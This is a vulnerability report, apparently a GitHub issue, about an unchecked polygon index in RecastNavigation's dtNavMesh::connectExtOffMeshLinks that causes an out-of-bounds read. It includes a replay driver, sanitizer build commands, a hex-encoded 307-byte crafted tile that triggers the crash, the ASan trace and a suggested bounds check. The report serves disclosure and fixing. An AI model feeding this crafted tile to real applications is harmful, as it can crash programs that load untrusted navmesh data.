[Bug]dtNavMesh::connectExtOffMeshLinks OOB read / SEGV: unchecked targetCon->poly (CWE-125)
Summary
dtNavMesh::connectExtOffMeshLinks resolves each off-mesh connection target polygon with &target->polys[targetCon->poly] at Detour/Source/DetourNavMesh.cpp:474, where targetCon->poly is an attacker-controlled field never validated against the polygon count. A 307-byte tile with an extreme offMeshCon.poly makes the read fault — AddressSanitizer reports a SEGV READ at the displaced address. 3 crash samples share this root cause.
- Affected versions: RecastNavigation master
9f4ce64458dfae86e1239c525ddc219c4e9e06f1(all releases to date) - Severity: High
- CWE: CWE-125 (Out-of-bounds Read)
Detail
Affected code
dtOffMeshConnection* targetCon = &target->offMeshCons[j];
dtPoly* targetPoly = &target->polys[targetCon->poly]; /* line 474: READ — targetCon->poly never validated */
...Root cause: connectExtOffMeshLinks trusts targetCon->poly as a valid polygon index in the neighbor tile. The field is parsed from the untrusted tile data and never checked against target->header->polyCount. With an extreme value the computed &target->polys[targetCon->poly] points far outside the heap allocation and faults (SEGV).
Build the reproducer
- Clone RecastNavigation and check out the affected commit:
git clone https://github.com/recastnavigation/recastnavigation.git
cd recastnavigation
git checkout 9f4ce64458dfae86e1239c525ddc219c4e9e06f1- Save this standalone replay driver as
dbg_addtile.cpp(calls the publicdtNavMesh::addTileAPI on every file argument):
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <vector>
#include "DetourNavMesh.h"
int main(int argc, char** argv) {
for (int i = 1; i < argc; ++i) {
FILE* f = fopen(argv[i], "rb");
if (!f) return 2;
fseek(f, 0, SEEK_END); long n = ftell(f); rewind(f);
std::vector<unsigned char> buf((size_t)n);
fread(buf.data(), 1, (size_t)n, f);
fclose(f);
dtNavMesh mesh;
dtNavMeshParams params;
memset(¶ms, 0, sizeof(params));
params.tileWidth = 1.0f; params.tileHeight = 1.0f;
params.maxTiles = 8; params.maxPolys = 64;
dtStatus is = mesh.init(¶ms);
printf("=== %s (%ld B) init=%08x ", argv[i], n, is);
unsigned char* b = (unsigned char*)malloc(n);
memcpy(b, buf.data(), n);
dtTileRef result = 0;
dtStatus st = mesh.addTile(b, (int)n, 0, 0, &result);
printf("addTile=%08x result=%08x\n", st, result);
free(b);
}
return 0;
}- Compile with ASan + UBSan (
dbg_addtile):
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=address,undefined -g \
-I Detour/Include dbg_addtile.cpp \
Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNavMeshQuery.cpp \
Detour/Source/DetourNode.cpp -o dbg_addtileFor a pure-UBSan report of the UB findings, build a second binary without ASan and with the trap flags:
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=undefined -fno-sanitize-recover=all -g \
-I Detour/Include dbg_addtile.cpp \
Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNode.cpp \
-o dbg_addtile_ubonlyPOC (tested on the unmodified source)
Save the 307-byte POC:
python3 -c "open('poc.bin','wb').write(bytes.fromhex('56414e44070000000000007fff000001000000007fff0000010000000000000000000000000000000000000000000000000000000400000000000000000000000000000100000000000000000000010000000300008004000000000000000000000000000000000000000001000000000000409a99193f6666663f0000000000000000000000000000f0410000f040e500f041414141414141414141414141414141414141414141414141414141000000010002000000000000030092929292929292929292929292929292929292929292929292929292929292000000003f0000000000000100028000ffffffffff0000000000001027000000000000000100000300000000000000000000000000110000ffffffec000000000000000b0000000000000000000000000000000000000000'))"Run:
./dbg_addtile poc.binTrigger result
Verified on the unmodified source (AddressSanitizer):
==3111111==ERROR: AddressSanitizer: SEGV on unknown address 0x612000100264 (pc 0x562311da9544 bp 0x7ffc6dc96a30 sp 0x7ffc6dc96660 T0)
#0 0x562311da9544 in dtNavMesh::connectExtOffMeshLinks(dtMeshTile*, dtMeshTile*, int) .../Detour/Source/DetourNavMesh.cpp:474:29
#1 0x562311da5290 in dtNavMesh::addTile(unsigned char*, int, int, unsigned int, unsigned int*) .../Detour/Source/DetourNavMesh.cpp:1024:2
#2 0x562311d8db4d in main .../dbg_addtile.cpp:25:28
SUMMARY: AddressSanitizer: SEGV .../Detour/Source/DetourNavMesh.cpp:474:29 in dtNavMesh::connectExtOffMeshLinks(dtMeshTile*, dtMeshTile*, int)- Replay exit code:
1(abort/trap) - Deterministic: yes — 3 crash sample(s) (id:000060, id:000065, id:000070) all reproduce the same root cause
Suggested fix
Validate targetCon->poly before indexing:
if (targetCon->poly < 0 || targetCon->poly >= target->header->polyCount)
continue;
dtPoly* targetPoly = &target->polys[targetCon->poly];Source: recastnavigation/recastnavigation